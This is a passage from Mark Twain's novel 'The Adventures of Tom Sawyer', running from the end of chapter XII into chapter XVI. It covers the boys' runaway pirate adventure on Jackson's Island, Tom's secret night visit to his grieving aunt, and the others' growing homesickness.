the right one. At last frocks ceased to appear, +and he dropped hopelessly into the dumps; he entered +the empty schoolhouse and sat down to suffer. Then +one more frock passed in at the gate, and Tom's heart +gave a great bound. The next instant he was out, +and "going on" like an Indian; yelling, laughing, +chasing boys, jumping over the fence at risk of life and +limb, throwing handsprings, standing on his head -- +doing all the heroic things he could conceive of, and +keeping a furtive eye out, all the while, to see if Becky +Thatcher was noticing. But she seemed to be un- +conscious of it all; she never looked. Could it be +possible that she was not aware that he was there? +He carried his exploits to her immediate vicinity; came +war-whooping around, snatched a boy's cap, hurled it +to the roof of the schoolhouse, broke through a group +of boys, tumbling them in every direction, and fell +sprawling, himself, under Becky's nose, almost upsetting +her -- and she turned, with her nose in the air, and he +heard her say: "Mf! some people think they're mighty +smart -- always showing off!" + +Tom's cheeks burned. He gathered himself up and +sneaked off, crushed and crestfallen. + + +CHAPTER XIII + +TOM'S mind was made up now. He was +gloomy and desperate. He was a for- +saken, friendless boy, he said; nobody +loved him; when they found out what they +had driven him to, perhaps they would +be sorry; he had tried to do right and get +along, but they would not let him; since nothing would +do them but to be rid of him, let it be so; and let them +blame HIM for the consequences -- why shouldn't they? +What right had the friendless to complain? Yes, they +had forced him to it at last: he would lead a life of crime. +There was no choice. + +By this time he was far down Meadow Lane, and +the bell for school to "take up" tinkled faintly upon his +ear. He sobbed, now, to think he should never, never +hear that old familiar sound any more -- it was very +hard, but it was forced on him; since he was driven out +into the cold world, he must submit -- but he forgave +them. Then the sobs came thick and fast. + +Just at this point he met his soul's sworn comrade, +Joe Harper -- hard-eyed, and with evidently a great +and dismal purpose in his heart. Plainly here were +"two souls with but a single thought." Tom, wiping +his eyes with his sleeve, began to blubber out something +about a resolution to escape from hard usage and lack +of sympathy at home by roaming abroad into the great +world never to return; and ended by hoping that Joe +would not forget him. + +But it transpired that this was a request which Joe +had just been going to make of Tom, and had come +to hunt him up for that purpose. His mother had +whipped him for drinking some cream which he had +never tasted and knew nothing about; it was plain +that she was tired of him and wished him to go; if +she felt that way, there was nothing for him to do but +succumb; he hoped she would be happy, and never +regret having driven her poor boy out into the unfeeling +world to suffer and die. + +As the two boys walked sorrowing along, they +made a new compact to stand by each other and be +brothers and never separate till death relieved them +of their troubles. Then they began to lay their plans. +Joe was for being a hermit, and living on crusts in a +remote cave, and dying, some time, of cold and want +and grief; but after listening to Tom, he conceded that +there were some conspicuous advantages about a life +of crime, and so he consented to be a pirate. + +Three miles below St. Petersburg, at a point where +the Mississippi River was a trifle over a mile wide, +there was a long, narrow, wooded island, with a shallow +bar at the head of it, and this offered well as a ren- +dezvous. It was not inhabited; it lay far over toward +the further shore, abreast a dense and almost wholly +unpeopled forest. So Jackson's Island was chosen. +Who were to be the subjects of their piracies was a +matter that did not occur to them. Then they hunted +up Huckleberry Finn, and he joined them promptly, +for all careers were one to him; he was indifferent. +They presently separated to meet at a lonely spot on +the river-bank two miles above the village at the favorite +hour -- which was midnight. There was a small log +raft there which they meant to capture. Each would +bring hooks and lines, and such provision as he could +steal in the most dark and mysterious way -- as became +outlaws. And before the afternoon was done, they +had all managed to enjoy the sweet glory of spreading +the fact that pretty soon the town would "hear some- +thing." All who got this vague hint were cautioned to +"be mum and wait." + +About midnight Tom arrived with a boiled ham +and a few trifles, and stopped in a dense undergrowth +on a small bluff overlooking the meeting-place. It +was starlight, and very still. The mighty river lay +like an ocean at rest. Tom listened a moment, but no +sound disturbed the quiet. Then he gave a low, +distinct whistle. It was answered from under the +bluff. Tom whistled twice more; these signals were +answered in the same way. Then a guarded voice +said: + +"Who goes there?" + +"Tom Sawyer, the Black Avenger of the Spanish +Main. Name your names." + +"Huck Finn the Red-Handed, and Joe Harper the +Terror of the Seas." Tom had furnished these titles, +from his favorite literature. + +"'Tis well. Give the countersign." + +Two hoarse whispers delivered the same awful word +simultaneously to the brooding night: + +"BLOOD!" + +Then Tom tumbled his ham over the bluff and let +himself down after it, tearing both skin and clothes +to some extent in the effort. There was an easy, com- +fortable path along the shore under the bluff, but it +lacked the advantages of difficulty and danger so val- +ued by a pirate. + +The Terror of the Seas had brought a side of bacon, +and had about worn himself out with getting it there. +Finn the Red-Handed had stolen a skillet and a quan- +tity of half-cured leaf tobacco, and had also brought a +few corn-cobs to make pipes with. But none of the +pirates smoked or "chewed" but himself. The Black +Avenger of the Spanish Main said it would never do to +start without some fire. That was a wise thought; +matches were hardly known there in that day. They +saw a fire smouldering upon a great raft a hundred +yards above, and they went stealthily thither and helped +themselves to a chunk. They made an imposing ad- +venture of it, saying, "Hist!" every now and then, and +suddenly halting with finger on lip; moving with hands +on imaginary dagger-hilts; and giving orders in dismal +whispers that if "the foe" stirred, to "let him have it +to the hilt," because "dead men tell no tales." They +knew well enough that the raftsmen were all down at +the village laying in stores or having a spree, but still +that was no excuse for their conducting this thing in an +unpiratical way. + +They shoved off, presently, Tom in command, Huck +at the after oar and Joe at the forward. Tom stood +amidships, gloomy-browed, and with folded arms, and +gave his orders in a low, stern whisper: + +"Luff, and bring her to the wind!" + +"Aye-aye, sir!" + +"Steady, steady-y-y-y!" + +"Steady it is, sir!" + +"Let her go off a point!" + +"Point it is, sir!" + +As the boys steadily and monotonously drove the +raft toward mid-stream it was no doubt under- +stood that these orders were given only for "style," +and were not intended to mean anything in par- +ticular. + +"What sail's she carrying?" + +"Courses, tops'ls, and flying-jib, sir." + +"Send the r'yals up! Lay out aloft, there, half a +dozen of ye -- foretopmaststuns'l! Lively, now!" + +"Aye-aye, sir!" + +"Shake out that maintogalans'l! Sheets and braces! +NOW my hearties!" + +"Aye-aye, sir!" + +"Hellum-a-lee -- hard a port! Stand by to meet +her when she comes! Port, port! NOW, men! With +a will! Stead-y-y-y!" + +"Steady it is, sir!" + +The raft drew beyond the middle of the river; the +boys pointed her head right, and then lay on their +oars. The river was not high, so there was not more +than a two or three mile current. Hardly a word was +said during the next three-quarters of an hour. Now +the raft was passing before the distant town. Two or +three glimmering lights showed where it lay, peacefully +sleeping, beyond the vague vast sweep of star-gemmed +water, unconscious of the tremendous event that was +happening. The Black Avenger stood still with folded +arms, "looking his last" upon the scene of his former +joys and his later sufferings, and wishing "she" could +see him now, abroad on the wild sea, facing peril and +death with dauntless heart, going to his doom with a +grim smile on his lips. It was but a small strain on his +imagination to remove Jackson's Island beyond eye- +shot of the village, and so he "looked his last" with a +broken and satisfied heart. The other pirates were +looking their last, too; and they all looked so long +that they came near letting the current drift them out +of the range of the island. But they discovered the +danger in time, and made shift to avert it. About two +o'clock in the morning the raft grounded on the bar +two hundred yards above the head of the island, and +they waded back and forth until they had landed their +freight. Part of the little raft's belongings consisted +of an old sail, and this they spread over a nook in the +bushes for a tent to shelter their provisions; but they +themselves would sleep in the open air in good weather, +as became outlaws. + +They built a fire against the side of a great log twenty +or thirty steps within the sombre depths of the forest, +and then cooked some bacon in the frying-pan for sup- +per, and used up half of the corn "pone" stock they had +brought. It seemed glorious sport to be feasting in +that wild, free way in the virgin forest of an unex- +plored and uninhabited island, far from the haunts of +men, and they said they never would return to civiliza- +tion. The climbing fire lit up their faces and threw its +ruddy glare upon the pillared tree-trunks of their forest +temple, and upon the varnished foliage and festooning +vines. + +When the last crisp slice of bacon was gone, and the +last allowance of corn pone devoured, the boys stretched +themselves out on the grass, filled with contentment. +They could have found a cooler place, but they would +not deny themselves such a romantic feature as the +roasting camp-fire. + +"AIN'T it gay?" said Joe. + +"It's NUTS!" said Tom. "What would the boys say +if they could see us?" + +"Say? Well, they'd just die to be here -- hey, +Hucky!" + +"I reckon so," said Huckleberry; "anyways, I'm +suited. I don't want nothing better'n this. I don't +ever get enough to eat, gen'ally -- and here they can't +come and pick at a feller and bullyrag him so." + +"It's just the life for me," said Tom. "You don't +have to get up, mornings, and you don't have to go to +school, and wash, and all that blame foolishness. You +see a pirate don't have to do ANYTHING, Joe, when he's +ashore, but a hermit HE has to be praying considerable, +and then he don't have any fun, anyway, all by himself +that way." + +"Oh yes, that's so," said Joe, "but I hadn't thought +much about it, you know. I'd a good deal rather be a +pirate, now that I've tried it." + +"You see," said Tom, "people don't go much on +hermits, nowadays, like they used to in old times, but +a pirate's always respected. And a hermit's got to +sleep on the hardest place he can find, and put sackcloth +and ashes on his head, and stand out in the rain, and --" + +"What does he put sackcloth and ashes on his head +for?" inquired Huck. + +"I dono. But they've GOT to do it. Hermits always +do. You'd have to do that if you was a hermit." + +"Dern'd if I would," said Huck. + +"Well, what would you do?" + +"I dono. But I wouldn't do that." + +"Why, Huck, you'd HAVE to. How'd you get around +it?" + +"Why, I just wouldn't stand it. I'd run away." + +"Run away! Well, you WOULD be a nice old slouch +of a hermit. You'd be a disgrace." + +The Red-Handed made no response, being better +employed. He had finished gouging out a cob, and +now he fitted a weed stem to it, loaded it with tobacco, +and was pressing a coal to the charge and blowing a +cloud of fragrant smoke -- he was in the full bloom of +luxurious contentment. The other pirates envied him +this majestic vice, and secretly resolved to acquire it +shortly. Presently Huck said: + +"What does pirates have to do?" + +Tom said: + +"Oh, they have just a bully time -- take ships and +burn them, and get the money and bury it in awful +places in their island where there's ghosts and things to +watch it, and kill everybody in the ships -- make 'em +walk a plank." + +"And they carry the women to the island," said Joe; +"they don't kill the women." + +"No," assented Tom, "they don't kill the women -- +they're too noble. And the women's always beautiful, +too. + +"And don't they wear the bulliest clothes! Oh no! +All gold and silver and di'monds," said Joe, with +enthusiasm. + +"Who?" said Huck. + +"Why, the pirates." + +Huck scanned his own clothing forlornly. + +"I reckon I ain't dressed fitten for a pirate," said +he, with a regretful pathos in his voice; "but I ain't +got none but these." + +But the other boys told him the fine clothes would +come fast enough, after they should have begun their +adventures. They made him understand that his poor +rags would do to begin with, though it was customary +for wealthy pirates to start with a proper wardrobe. + +Gradually their talk died out and drowsiness began +to steal upon the eyelids of the little waifs. The pipe +dropped from the fingers of the Red-Handed, and he +slept the sleep of the conscience-free and the weary. +The Terror of the Seas and the Black Avenger of the +Spanish Main had more difficulty in getting to sleep. +They said their prayers inwardly, and lying down, since +there was nobody there with authority to make them +kneel and recite aloud; in truth, they had a mind not +to say them at all, but they were afraid to proceed to +such lengths as that, lest they might call down a sudden +and special thunderbolt from heaven. Then at once +they reached and hovered upon the imminent verge of +sleep -- but an intruder came, now, that would not +"down." It was conscience. They began to feel a +vague fear that they had been doing wrong to run +away; and next they thought of the stolen meat, and +then the real torture came. They tried to argue it +away by reminding conscience that they had purloined +sweetmeats and apples scores of times; but conscience +was not to be appeased by such thin plausibilities; +it seemed to them, in the end, that there was no getting +around the stubborn fact that taking sweetmeats was +only "hooking," while taking bacon and hams and +such valuables was plain simple stealing -- and there was +a command against that in the Bible. So they inwardly +resolved that so long as they remained in the business, +their piracies should not again be sullied with the crime +of stealing. Then conscience granted a truce, and +these curiously inconsistent pirates fell peacefully to +sleep. + + +CHAPTER XIV + +WHEN Tom awoke in the morning, he +wondered where he was. He sat up and +rubbed his eyes and looked around. Then +he comprehended. It was the cool gray +dawn, and there was a delicious sense of +repose and peace in the deep pervading +calm and silence of the woods. Not a leaf stirred; not a +sound obtruded upon great Nature's meditation. Bead- +ed dewdrops stood upon the leaves and grasses. A +white layer of ashes covered the fire, and a thin blue +breath of smoke rose straight into the air. Joe and +Huck still slept. + +Now, far away in the woods a bird called; another +answered; presently the hammering of a woodpecker +was heard. Gradually the cool dim gray of the morn- +ing whitened, and as gradually sounds multiplied and +life manifested itself. The marvel of Nature shaking +off sleep and going to work unfolded itself to the musing +boy. A little green worm came crawling over a dewy +leaf, lifting two-thirds of his body into the air from time +to time and "sniffing around," then proceeding again -- +for he was measuring, Tom said; and when the worm +approached him, of its own accord, he sat as still as a +stone, with his hopes rising and falling, by turns, as the +creature still came toward him or seemed inclined to +go elsewhere; and when at last it considered a painful +moment with its curved body in the air and then came +decisively down upon Tom's leg and began a journey +over him, his whole heart was glad -- for that meant +that he was going to have a new suit of clothes -- without +the shadow of a doubt a gaudy piratical uniform. Now +a procession of ants appeared, from nowhere in par- +ticular, and went about their labors; one struggled man- +fully by with a dead spider five times as big as itself in +its arms, and lugged it straight up a tree-trunk. A +brown spotted lady-bug climbed the dizzy height of a +grass blade, and Tom bent down close to it and said, +"Lady-bug, lady-bug, fly away home, your house is on +fire, your children's alone," and she took wing and went +off to see about it -- which did not surprise the boy, for +he knew of old that this insect was credulous about +conflagrations, and he had practised upon its simplicity +more than once. A tumblebug came next, heaving +sturdily at its ball, and Tom touched the creature, to +see it shut its legs against its body and pretend to be +dead. The birds were fairly rioting by this time. A +catbird, the Northern mocker, lit in a tree over Tom's +head, and trilled out her imitations of her neighbors in +a rapture of enjoyment; then a shrill jay swept down, +a flash of blue flame, and stopped on a twig almost +within the boy's reach, cocked his head to one side and +eyed the strangers with a consuming curiosity; a gray +squirrel and a big fellow of the "fox" kind came +skurrying along, sitting up at intervals to inspect and +chatter at the boys, for the wild things had probably +never seen a human being before and scarcely knew +whether to be afraid or not. All Nature was wide +awake and stirring, now; long lances of sunlight pierced +down through the dense foliage far and near, and a +few butterflies came fluttering upon the scene. + +Tom stirred up the other pirates and they all clattered +away with a shout, and in a minute or two were stripped +and chasing after and tumbling over each other in the +shallow limpid water of the white sandbar. They felt +no longing for the little village sleeping in the distance +beyond the majestic waste of water. A vagrant cur- +rent or a slight rise in the river had carried off their +raft, but this only gratified them, since its going was +something like burning the bridge between them and +civilization. + +They came back to camp wonderfully refreshed, +glad-hearted, and ravenous; and they soon had the +camp-fire blazing up again. Huck found a spring of +clear cold water close by, and the boys made cups of +broad oak or hickory leaves, and felt that water, sweet- +ened with such a wildwood charm as that, would be a +good enough substitute for coffee. While Joe was +slicing bacon for breakfast, Tom and Huck asked him +to hold on a minute; they stepped to a promising nook +in the river-bank and threw in their lines; almost im- +mediately they had reward. Joe had not had time to +get impatient before they were back again with some +handsome bass, a couple of sun-perch and a small +catfish -- provisions enough for quite a family. They +fried the fish with the bacon, and were astonished; for no +fish had ever seemed so delicious before. They did not +know that the quicker a fresh-water fish is on the fire +after he is caught the better he is; and they reflected +little upon what a sauce open-air sleeping, open-air +exercise, bathing, and a large ingredient of hunger +make, too. + +They lay around in the shade, after breakfast, while +Huck had a smoke, and then went off through the woods +on an exploring expedition. They tramped gayly along, +over decaying logs, through tangled underbrush, among +solemn monarchs of the forest, hung from their crowns +to the ground with a drooping regalia of grape-vines. +Now and then they came upon snug nooks carpeted +with grass and jeweled with flowers. + +They found plenty of things to be delighted with, but +nothing to be astonished at. They discovered that the +island was about three miles long and a quarter of a +mile wide, and that the shore it lay closest to was only +separated from it by a narrow channel hardly two hun- +dred yards wide. They took a swim about every hour, +so it was close upon the middle of the afternoon when +they got back to camp. They were too hungry to stop +to fish, but they fared sumptuously upon cold ham, and +then threw themselves down in the shade to talk. But +the talk soon began to drag, and then died. The +stillness, the solemnity that brooded in the woods, and +the sense of loneliness, began to tell upon the spirits +of the boys. They fell to thinking. A sort of unde- +fined longing crept upon them. This took dim shape, +presently -- it was budding homesickness. Even Finn +the Red-Handed was dreaming of his doorsteps and +empty hogsheads. But they were all ashamed of their +weakness, and none was brave enough to speak his +thought. + +For some time, now, the boys had been dully con- +scious of a peculiar sound in the distance, just as one +sometimes is of the ticking of a clock which he takes no +distinct note of. But now this mysterious sound be- +came more pronounced, and forced a recognition. The +boys started, glanced at each other, and then each as- +sumed a listening attitude. There was a long silence, +profound and unbroken; then a deep, sullen boom +came floating down out of the distance. + +"What is it!" exclaimed Joe, under his breath. + +"I wonder," said Tom in a whisper. + +"'Tain't thunder," said Huckleberry, in an awed +tone, "becuz thunder --" + +"Hark!" said Tom. "Listen -- don't talk." + +They waited a time that seemed an age, and then the +same muffled boom troubled the solemn hush. + +"Let's go and see." + +They sprang to their feet and hurried to the shore +toward the town. They parted the bushes on the bank +and peered out over the water. The little steam ferry- +boat was about a mile below the village, drifting with the +current. Her broad deck seemed crowded with people. +There were a great many skiffs rowing about or floating +with the stream in the neighborhood of the ferryboat, +but the boys could not determine what the men in them +were doing. Presently a great jet of white smoke burst +from the ferryboat's side, and as it expanded and rose +in a lazy cloud, that same dull throb of sound was borne +to the listeners again. + +"I know now!" exclaimed Tom; "somebody's +drownded!" + +"That's it!" said Huck; "they done that last summer, +when Bill Turner got drownded; they shoot a cannon +over the water, and that makes him come up to the top. +Yes, and they take loaves of bread and put quicksilver +in 'em and set 'em afloat, and wherever there's anybody +that's drownded, they'll float right there and stop." + +"Yes, I've heard about that," said Joe. "I wonder +what makes the bread do that." + +"Oh, it ain't the bread, so much," said Tom; "I +reckon it's mostly what they SAY over it before they start +it out." + +"But they don't say anything over it," said Huck. +"I've seen 'em and they don't." + +"Well, that's funny," said Tom. "But maybe +they say it to themselves. Of COURSE they do. Any- +body might know that." + +The other boys agreed that there was reason in what +Tom said, because an ignorant lump of bread, un- +instructed by an incantation, could not be expected to +act very intelligently when set upon an errand of such +gravity. + +"By jings, I wish I was over there, now," said Joe. + +"I do too" said Huck "I'd give heaps to know +who it is." + +The boys still listened and watched. Presently a +revealing thought flashed through Tom's mind, and +he exclaimed: + +"Boys, I know who's drownded -- it's us!" + +They felt like heroes in an instant. Here was a +gorgeous triumph; they were missed; they were mourned; +hearts were breaking on their account; tears were being +shed; accusing memories of unkindness to these poor +lost lads were rising up, and unavailing regrets and re- +morse were being indulged; and best of all, the depart- +ed were the talk of the whole town, and the envy of +all the boys, as far as this dazzling notoriety was con- +cerned. This was fine. It was worth while to be a +pirate, after all. + +As twilight drew on, the ferryboat went back to her +accustomed business and the skiffs disappeared. The +pirates returned to camp. They were jubilant with +vanity over their new grandeur and the illustrious +trouble they were making. They caught fish, cooked +supper and ate it, and then fell to guessing at what the +village was thinking and saying about them; and the +pictures they drew of the public distress on their ac- +count were gratifying to look upon -- from their point +of view. But when the shadows of night closed them +in, they gradually ceased to talk, and sat gazing into the +fire, with their minds evidently wandering elsewhere. +The excitement was gone, now, and Tom and Joe could +not keep back thoughts of certain persons at home who +were not enjoying this fine frolic as much as they were. +Misgivings came; they grew troubled and unhappy; +a sigh or two escaped, unawares. By and by Joe +timidly ventured upon a roundabout "feeler" as to +how the others might look upon a return to civilization +-- not right now, but -- + +Tom withered him with derision! Huck, being un- +committed as yet, joined in with Tom, and the waverer +quickly "explained," and was glad to get out of the +scrape with as little taint of chicken-hearted home- +sickness clinging to his garments as he could. Mutiny +was effectually laid to rest for the moment. + +As the night deepened, Huck began to nod, and +presently to snore. Joe followed next. Tom lay +upon his elbow motionless, for some time, watching +the two intently. At last he got up cautiously, on +his knees, and went searching among the grass and +the flickering reflections flung by the camp-fire. He +picked up and inspected several large semi-cylinders +of the thin white bark of a sycamore, and finally chose +two which seemed to suit him. Then he knelt by the +fire and painfully wrote something upon each of these +with his "red keel"; one he rolled up and put in his +jacket pocket, and the other he put in Joe's hat and +removed it to a little distance from the owner. And +he also put into the hat certain schoolboy treasures of +almost inestimable value -- among them a lump of +chalk, an India-rubber ball, three fishhooks, and one of +that kind of marbles known as a "sure 'nough crystal." +Then he tiptoed his way cautiously among the trees +till he felt that he was out of hearing, and straightway +broke into a keen run in the direction of the sandbar. + + +CHAPTER XV + +A FEW minutes later Tom was in the shoal +water of the bar, wading toward the +Illinois shore. Before the depth reached +his middle he was half-way over; the cur- +rent would permit no more wading, now, +so he struck out confidently to swim the +remaining hundred yards. He swam quartering up- +stream, but still was swept downward rather faster +than he had expected. However, he reached the shore +finally, and drifted along till he found a low place and +drew himself out. He put his hand on his jacket pocket, +found his piece of bark safe, and then struck through +the woods, following the shore, with streaming garments. +Shortly before ten o'clock he came out into an open +place opposite the village, and saw the ferryboat lying +in the shadow of the trees and the high bank. Every- +thing was quiet under the blinking stars. He crept +down the bank, watching with all his eyes, slipped into +the water, swam three or four strokes and climbed into +the skiff that did "yawl" duty at the boat's stern. He +laid himself down under the thwarts and waited, panting. + +Presently the cracked bell tapped and a voice gave +the order to "cast off." A minute or two later the +skiff's head was standing high up, against the boat's +swell, and the voyage was begun. Tom felt happy in +his success, for he knew it was the boat's last trip for +the night. At the end of a long twelve or fifteen minutes +the wheels stopped, and Tom slipped overboard and +swam ashore in the dusk, landing fifty yards down- +stream, out of danger of possible stragglers. + +He flew along unfrequented alleys, and shortly found +himself at his aunt's back fence. He climbed over, +approached the "ell," and looked in at the sitting-room +window, for a light was burning there. There sat +Aunt Polly, Sid, Mary, and Joe Harper's mother, +grouped together, talking. They were by the bed, and +the bed was between them and the door. Tom went +to the door and began to softly lift the latch; then he +pressed gently and the door yielded a crack; he con- +tinued pushing cautiously, and quaking every time it +creaked, till he judged he might squeeze through on his +knees; so he put his head through and began, warily. + +"What makes the candle blow so?" said Aunt +Polly. Tom hurried up. "Why, that door's open, +I believe. Why, of course it is. No end of strange +things now. Go 'long and shut it, Sid." + +Tom disappeared under the bed just in time. He +lay and "breathed" himself for a time, and then crept +to where he could almost touch his aunt's foot. + +"But as I was saying," said Aunt Polly, "he warn't +BAD, so to say -- only mischEEvous. Only just giddy, +and harum-scarum, you know. He warn't any more +responsible than a colt. HE never meant any harm, +and he was the best-hearted boy that ever was" -- and +she began to cry. + +"It was just so with my Joe -- always full of his +devilment, and up to every kind of mischief, but he +was just as unselfish and kind as he could be -- and +laws bless me, to think I went and whipped him for +taking that cream, never once recollecting that I +throwed it out myself because it was sour, and I never +to see him again in this world, never, never, never, poor +abused boy!" And Mrs. Harper sobbed as if her +heart would break. + +"I hope Tom's better off where he is," said Sid, +"but if he'd been better in some ways --" + +"SID!" Tom felt the glare of the old lady's eye, +though he could not see it. "Not a word against my +Tom, now that he's gone! God'll take care of HIM -- +never you trouble YOURself, sir! Oh, Mrs. Harper, I +don't know how to give him up! I don't know how to +give him up! He was such a comfort to me, although +he tormented my old heart out of me, 'most." + +"The Lord giveth and the Lord hath taken away +-- Blessed be the name of the Lord! But it's so hard +-- Oh, it's so hard! Only last Saturday my Joe busted +a firecracker right under my nose and I knocked him +sprawling. Little did I know then, how soon -- Oh, +if it was to do over again I'd hug him and bless him +for it." + +"Yes, yes, yes, I know just how you feel, Mrs. +Harper, I know just exactly how you feel. No longer +ago than yesterday noon, my Tom took and filled the +cat full of Pain-killer, and I did think the cretur would +tear the house down. And God forgive me, I cracked +Tom's head with my thimble, poor boy, poor dead boy. +But he's out of all his troubles now. And the last words +I ever heard him say was to reproach --" + +But this memory was too much for the old lady, +and she broke entirely down. Tom was snuffling, now, +himself -- and more in pity of himself than anybody +else. He could hear Mary crying, and putting in a +kindly word for him from time to time. He began to +have a nobler opinion of himself than ever before. +Still, he was sufficiently touched by his aunt's grief to +long to rush out from under the bed and overwhelm +her with joy -- and the theatrical gorgeousness of the +thing appealed strongly to his nature, too, but he re- +sisted and lay still. + +He went on listening, and gathered by odds and ends +that it was conjectured at first that the boys had got +drowned while taking a swim; then the small raft had +been missed; next, certain boys said the missing lads +had promised that the village should "hear some- +thing" soon; the wise-heads had "put this and that +together" and decided that the lads had gone off on +that raft and would turn up at the next town below, +presently; but toward noon the raft had been found, +lodged against the Missouri shore some five or six miles +below the village -- and then hope perished; they must +be drowned, else hunger would have driven them home +by nightfall if not sooner. It was believed that the +search for the bodies had been a fruitless effort merely +because the drowning must have occurred in mid- +channel, since the boys, being good swimmers, would +otherwise have escaped to shore. This was Wednesday +night. If the bodies continued missing until Sunday, +all hope would be given over, and the funerals would +be preached on that morning. Tom shuddered. + +Mrs. Harper gave a sobbing good-night and turned +to go. Then with a mutual impulse the two bereaved +women flung themselves into each other's arms and had +a good, consoling cry, and then parted. Aunt Polly +was tender far beyond her wont, in her good-night to +Sid and Mary. Sid snuffled a bit and Mary went off +crying with all her heart. + +Aunt Polly knelt down and prayed for Tom so touch- +ingly, so appealingly, and with such measureless love +in her words and her old trembling voice, that he was +weltering in tears again, long before she was through. + +He had to keep still long after she went to bed, for +she kept making broken-hearted ejaculations from time +to time, tossing unrestfully, and turning over. But at +last she was still, only moaning a little in her sleep. +Now the boy stole out, rose gradually by the bedside, +shaded the candle-light with his hand, and stood re- +garding her. His heart was full of pity for her. He +took out his sycamore scroll and placed it by the candle. +But something occurred to him, and he lingered con- +sidering. His face lighted with a happy solution of his +thought; he put the bark hastily in his pocket. Then +he bent over and kissed the faded lips, and straightway +made his stealthy exit, latching the door behind him. + +He threaded his way back to the ferry landing, found +nobody at large there, and walked boldly on board the +boat, for he knew she was tenantless except that there +was a watchman, who always turned in and slept like +a graven image. He untied the skiff at the stern, +slipped into it, and was soon rowing cautiously up- +stream. When he had pulled a mile above the village, +he started quartering across and bent himself stoutly to +his work. He hit the landing on the other side neatly, +for this was a familiar bit of work to him. He was +moved to capture the skiff, arguing that it might be +considered a ship and therefore legitimate prey for a +pirate, but he knew a thorough search would be made +for it and that might end in revelations. So he stepped +ashore and entered the woods. + +He sat down and took a long rest, torturing him- +self meanwhile to keep awake, and then started warily +down the home-stretch. The night was far spent. +It was broad daylight before he found himself fairly +abreast the island bar. He rested again until the sun +was well up and gilding the great river with its splendor, +and then he plunged into the stream. A little later he +paused, dripping, upon the threshold of the camp, +and heard Joe say: + +"No, Tom's true-blue, Huck, and he'll come back. +He won't desert. He knows that would be a disgrace +to a pirate, and Tom's too proud for that sort of thing. +He's up to something or other. Now I wonder what?" + +"Well, the things is ours, anyway, ain't they?" + +Pretty near, but not yet, Huck. The writing says +they are if he ain't back here to breakfast." + +"Which he is!" exclaimed Tom, with fine dramatic +effect, stepping grandly into camp. + +A sumptuous breakfast of bacon and fish was shortly +provided, and as the boys set to work upon it, Tom +recounted (and adorned) his adventures. They were +a vain and boastful company of heroes when the tale +was done. Then Tom hid himself away in a shady +nook to sleep till noon, and the other pirates got ready +to fish and explore. + + +CHAPTER XVI + +AFTER dinner all the gang turned out to +hunt for turtle eggs on the bar. They +went about poking sticks into the sand, +and when they found a soft place they +went down on their knees and dug with +their hands. Sometimes they would take +fifty or sixty eggs out of one hole. They were perfectly +round white things a trifle smaller than an English +walnut. They had a famous fried-egg feast that night, +and another on Friday morning. + +After breakfast they went whooping and prancing +out on the bar, and chased each other round and +round, shedding clothes as they went, until they were +naked, and then continued the frolic far away up the +shoal water of the bar, against the stiff current, which +latter tripped their legs from under them from time +to time and greatly increased the fun. And now and +then they stooped in a group and splashed water in +each other's faces with their palms, gradually approach- +ing each other, with averted faces to avoid the stran- +gling sprays, and finally gripping and struggling till the +best man ducked his neighbor, and then they all went +under in a tangle of white legs and arms and came up +blowing, sputtering, laughing, and gasping for breath +at one and the same time. + +When they were well exhausted, they would run +out and sprawl on the dry, hot sand, and lie there and +cover themselves up with it, and by and by break for +the water again and go through the original perform- +ance once more. Finally it occurred to them that their +naked skin represented flesh-colored "tights" very +fairly; so they drew a ring in the sand and had a +circus -- with three clowns in it, for none would yield +this proudest post to his neighbor. + +Next they got their marbles and played "knucks" +and "ring-taw" and "keeps" till that amusement +grew stale. Then Joe and Huck had another swim, +but Tom would not venture, because he found that +in kicking off his trousers he had kicked his string +of rattlesnake rattles off his ankle, and he wondered +how he had escaped cramp so long without the pro- +tection of this mysterious charm. He did not vent- +ure again until he had found it, and by that time +the other boys were tired and ready to rest. They +gradually wandered apart, dropped into the "dumps," +and fell to gazing longingly across the wide river to +where the village lay drowsing in the sun. Tom found +himself writing "BECKY" in the sand with his big toe; +he scratched it out, and was angry with himself for his +weakness. But he wrote it again, nevertheless; he +could not help it. He erased it once more and then took +himself out of temptation by driving the other boys +together and joining them. + +But Joe's spirits had gone down almost beyond +resurrection. He was so homesick that he could hardly +endure the misery of it. The tears lay very near the +surface. Huck was melancholy, too. Tom was down- +hearted, but tried hard not to show it. He had a secret +which he was not ready to tell, yet, but if this mutinous +depression was not broken up soon, he would have to +bring it out. He said, with a great show of cheerfulness: + +"I bet there's been pirates on this island before, +boys. We'll explore it again. They've hid treasures +here somewhere. How'd you feel to light on a rotten +chest full of gold and silver -- hey?" + +But it roused only faint enthusiasm, which faded +out, with no reply. Tom tried one or two other +seductions; but they failed, too. It was discouraging +work. Joe sat poking up the sand with a stick and +looking very gloomy. Finally he said: + +"Oh, boys, let's give it up. I want to go home. +It's so lonesome." + +"Oh no, Joe, you'll feel better by and by," said +Tom. "Just think of the fishing that's here." + +"I don't care for fishing. I want to go home." + +"But, Joe, there ain't such another swimming-place +anywhere." + +"Swimming's no good. I don't seem to care for +it, somehow, when there ain't anybody to say I sha'n't +go in. I mean to go home." + +"Oh, shucks! Baby! You want to see your mother, +I reckon." + +"Yes, I DO want to see my mother -- and you would, +too, if you had one. I ain't any more baby than you +are." And Joe snuffled a little. + +"Well, we'll let the cry-baby go home to his mother, +won't we, Huck? Poor thing -- does it want to see its +mother? And so it shall. You like it here, don't you, +Huck? We'll stay, won't we?" + +Huck said, "Y-e-s" -- without any heart in it. + +"I'll never speak to you again as long as I live," +said Joe, rising. "There now!" And he moved +moodily away and began to dress himself. + +"Who cares!" said Tom. "Nobody wants you to. +Go 'long home and get laughed at. Oh, you're a nice +pirate. Huck and me ain't cry-babies. We'll stay, +won't we, Huck? Let him go if he wants to. I reckon +we can get along without him, per'aps." + +But Tom was uneasy, nevertheless, and was alarmed +to see Joe go sullenly on with his dressing. And then +it was discomforting to see Huck eying Joe's prepara- +tions so wistfully, and keeping up such an ominous +silence. Presently, without a parting word, Joe began +to wade off toward the Illinois shore. Tom's heart +began to sink. He glanced at Huck. Huck could +not bear the look, and dropped his eyes. Then he +said: + +"I want to go, too, Tom. It was getting so lone- +some anyway, and now it'll be worse. Let's us go, +too, Tom." + +"I won't! You can all go, if you want to. I mean +to stay." + +"Tom, I better go." + +"Well, go 'long -- who's hendering you." + +Huck began to pick up his scattered clothes. He +said: + +"Tom, I wisht you'd come, too. Now you think it +over. We'll wait for you when we get to shore." + +"Well, you'll wait a blame long time, that's all." + +Huck started sorrowfully away, and Tom stood +looking after him, with a strong desire tugging at his +heart to yield his pride and go along 